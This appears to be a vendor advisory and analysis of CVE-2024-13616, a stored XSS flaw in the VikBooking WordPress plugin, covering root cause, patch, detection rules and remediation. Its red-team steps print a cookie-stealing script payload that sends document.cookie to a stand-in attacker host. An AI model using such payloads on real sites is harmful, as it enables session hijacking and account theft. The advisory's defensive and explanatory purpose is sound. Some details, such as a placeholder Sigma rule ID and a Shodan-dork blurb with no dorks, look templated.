CVE-2024-13616
Executive Summary
CVE-2024-13616 is a Stored Cross-Site Scripting (XSS) vulnerability in the VikBooking Hotel Booking Engine & PMS WordPress plugin (versions before 1.7.2). The plugin fails to properly sanitize and escape certain settings, allowing high-privilege users (e.g., administrators) to inject malicious scripts. This is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disallowed, as it bypasses the intended security restriction. Successful exploitation could lead to session hijacking, defacement, or redirection of users to malicious sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to verify the integrity of the plugin update (version 1.7.2) by checking the plugin’s checksum or signature if provided by the vendor. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.8 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Admin)
- User Interaction: Required (Victim must visit the affected page)
- Scope: Changed (Impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires admin-level access, but in multisite environments, the attack can bypass unfiltered_html restrictions, making it more impactful.
Deep Dive & Mechanics
The vulnerability resides in the plugin’s settings page where admin users can configure various options. The plugin fails to sanitize and escape output for certain settings fields. When an admin saves malicious JavaScript code into these fields, the script is stored in the database and executed when the settings page is rendered for any user (including other admins or lower-privileged users).
Root Cause: The plugin uses echo or _e() functions without proper escaping (e.g., esc_html() or wp_kses_post()) when displaying saved settings values. This allows stored XSS.
Attack Flow:
- Attacker gains admin access (e.g., via compromised credentials or social engineering).
- Attacker navigates to the VikBooking settings page.
- Attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into a vulnerable setting field. - The payload is stored in the WordPress database.
- When any user (including other admins) visits the settings page, the script executes in their browser.
Vulnerable vs. Patched Code
Vulnerable Code (before 1.7.2):
// In settings page rendering
echo $setting_value; // No escaping
Patched Code (1.7.2):
// In settings page rendering
echo esc_html( $setting_value ); // Properly escaped
The patch adds esc_html() to all output of settings values, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Admin credentials to a WordPress site with VikBooking < 1.7.2.
- Access to the plugin’s settings page (e.g.,
/wp-admin/admin.php?page=vikbooking_settings).
Steps:
- Log in as an admin.
- Navigate to VikBooking settings.
- Locate a vulnerable field (e.g., "Footer Text" or "Custom CSS").
- Inject payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save settings.
- Wait for another admin to visit the settings page, or trigger the page yourself to confirm execution.
Proof-of-Concept (PoC):
<!-- Inject into a text field -->
<script>alert('XSS')</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual changes to VikBooking settings via audit logs.
- Look for JavaScript payloads in plugin settings database entries (e.g.,
wp_optionstable withvikbooking_prefix). - Use WAF rules to block common XSS patterns in admin POST requests.
Hardening:
- Upgrade to version 1.7.2 immediately.
- Restrict admin access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use WordPress security plugins (e.g., Wordfence) to detect and block malicious input.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/vikbooking/(check for modified files) - Database:
wp_optionstable entries containing<script>tags invikbooking_options. - Network: Outbound requests to attacker-controlled domains from admin pages.
- Logs: Unusual POST requests to
/wp-admin/admin.php?page=vikbooking_settingswith encoded JavaScript.
Detection Engineering
YARA Rule
rule detect_vikbooking_xss_payload {
meta:
description = "Detects stored XSS payloads in VikBooking plugin settings"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-13616"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$vikbooking_option = /vikbooking_/
condition:
$xss_payload and $vikbooking_option
}
Sigma Rule
title: Stored XSS in VikBooking Plugin Settings
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in VikBooking plugin settings
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/admin.php?page=vikbooking_settings'
http.body|contains: '<script'
condition: selection
falsepositives:
- Legitimate admin using JavaScript in settings (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-13616 - VikBooking Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin.php?page=vikbooking_settings"; http_uri; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade VikBooking to version 1.7.2 or later.
- Workaround: If upgrade is not possible, restrict admin access and disable the plugin’s settings page for non-essential users.
- Long-term: Implement input validation and output escaping for all plugin settings. Use WordPress coding standards (e.g.,
esc_html(),esc_attr()). - Monitoring: Enable audit logging for admin actions and review logs for suspicious changes.
Valters IT
Securing Your Digital Frontier
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.